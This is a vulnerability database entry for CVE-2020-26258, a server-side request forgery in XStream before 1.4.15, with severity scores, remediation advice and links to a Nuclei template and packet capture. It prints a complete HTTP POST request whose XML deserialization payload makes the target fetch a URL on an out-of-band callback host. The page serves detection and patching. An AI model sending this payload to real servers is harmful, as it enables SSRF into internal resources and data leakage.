🔙 목록으로 돌아가기

CVE-2020-26258: XStream <1.4.15 - Server-Side Request Forgery

TitleXStream <1.4.15 - Server-Side Request Forgery
Authorpwnhxl
SeverityHigh
ImpactAn attacker can exploit this vulnerability to make requests to internal resources, potentially leading to data leakage or further attacks.
RemediationInstall at least 1.4.15 if you rely on XStream's default blacklist of the Security Framework, and at least Java 15 or higher.
CVSS Score7.7
EPSS Score0.9368
CVE IDCVE-2020-26258
CWE IDCWE-918
Tags cve cve2020 xstream ssrf oast xstream_project vuln

🔍 Vulnerability Description

XStream before 1.4.15 is susceptible to server-side request forgery. An attacker can request data from internal resources that are not publicly available by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.

🌐 HTTP Request

POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/3.6.11
Connection: close
Content-Length: 567
Content-Type: application/xml
Accept-Encoding: gzip

<map>

  <entry>

    <jdk.nashorn.internal.objects.NativeString>

      <flags>0</flags>

      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>

        <dataHandler>

          <dataSource class='javax.activation.URLDataSource'>

            <url>http://d5joqdhle0o10k5k946gdwez6nyb37trw.oast.site/internal/:</url>

          </dataSource>

          <transferFlavors/>

        </dataHandler>

        <dataLen>0</dataLen>

      </value>

    </jdk.nashorn.internal.objects.NativeString>

    <string>test</string>

  </entry>

</map>

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-26258.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-26258.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A